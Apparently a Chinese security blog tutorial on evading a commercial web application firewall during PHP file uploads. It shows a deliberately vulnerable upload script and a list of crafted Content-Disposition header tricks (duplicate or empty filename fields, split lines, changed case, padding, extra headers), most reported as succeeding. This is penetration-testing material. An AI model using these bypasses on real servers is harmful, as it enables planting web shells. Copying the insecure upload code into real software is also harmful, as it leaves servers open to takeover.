這里總結下關於waf中那些繞過文件上傳的姿勢和嘗試思路
環境 apache + mysql +php
waf:某狗waf
這里寫了一個上傳頁面
<html> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html> <?php error_reporting(0); if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg"))) //&& ($_FILES["file"]["size"] < 20000)) { if ($_FILES["file"]["error"] > 0) { echo "Return Code: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; } } } else { echo "Invalid file"; } ?>
一般上傳 肯定是攔截的
那么接下來就是對繞過waf的一些姿勢和思路
1.增大文件大小
測試發現 waf對於Content-Disposition字段的 長度驗證不是很准確,因為我們可以想到它進行攔截的規則肯定是基於正則,那么我們想辦法讓安全狗攔截的正則匹配不到即可
這里對這個字段的長度進行篡改
2.對文件名動手腳
我們在上傳時候通常會把文件名后綴和解析漏洞,那么waf對於filename參數后的值的文件名后綴肯定是要正則去匹配的 這樣正常上傳肯定不行
那么繞過之前我們猜想,第一個它可能是對filename這樣的鍵值對進行匹配,例如"ket = val"這樣的鍵值對 那么這里我們就是filename=“php.php”
那這里把雙引號去除,擾亂匹配,發現還是不行
那么我們可不可以多一個filename,因為文件在接收上傳文件名時取的是最后一個filename,那么我們在最后一個filename參數前加一些干擾的filename參數試試
發現還是不行 那么這里就知道他是對所有filename參數進行檢測 那么我們能不能把前面的filename參數去掉值呢
Content-Disposition: form-data; name="file"; filename= ; filename="php.php"
成功上傳
3、對文件后綴名動手腳
我們在上傳是通常會配合解析漏洞,例如1.asp;.jpg 我們想到 也可以構造一樣的文件名進行干擾 例如
Content-Disposition: form-data; name="file"; filename=php.php;.jpg
我們也可以在其中添加空白符、換行符等進行干擾,一樣可以達到效果
Content-Disposition: form-data; name="file"; filename="php
截斷也是可以噠
4、對filename動手腳
這里可以讓waf對filename這個字符串匹配不到,但是服務器又可以接收,大家都應該想到了加入換行這類的干擾
Content-Disposition: form-data; name="file"; filen ame="php.php" Content-Type: image/gif
斷開“=”也是可以的
Content-Disposition: form-data; name="file"; filename=
"php.php"
Content-Type: image/gif
5.對匹配的字段動手腳
我們的filename參數是在post包中的 Content-Disposition 字段,那么waf也是先匹配到這個http頭在對內容進行檢測,我們可以嘗試對這個頭的特征進行修改
原:
Content-Disposition: form-data; name="file"; filename="php.php"
我們嘗試去掉這個form-data (form-data;的意思是內容描述,form-data的意思是來自表單的數據,但是即使不寫form-data,apache也接受。)
Content-Disposition: name="file"; filename="php.php"
成功上傳
我們也可以對該字段進行參數污染,填入一些不相關的值來進行干擾
Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="BBBBBBBB"; name="file"; filename="php.php"
也是可以上傳的
那么這里讓他匹配不到這個http頭的方法還有很多 比如改一下大小寫
COntEnT-DIsposiTiOn: form-data; name="file"; filename="php.php"
還可以在這個頭上下文加額外的頭進行干擾
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: image/gif
在這個http頭上面加額外的字符、filename
AAAAAAAA:filename="secquan.jpg"; Content-Disposition: form-data; name="file"; filename="php.php" Content-Type: image/gif
加一些頭
Content-Length: 253 Content-Disposition: form-data; name="file"; filename="php.php" Content-Type: image/gif
’
這些思路也可以用在其他waf上面~~更多的大家可以自己fuzz 驚喜多多~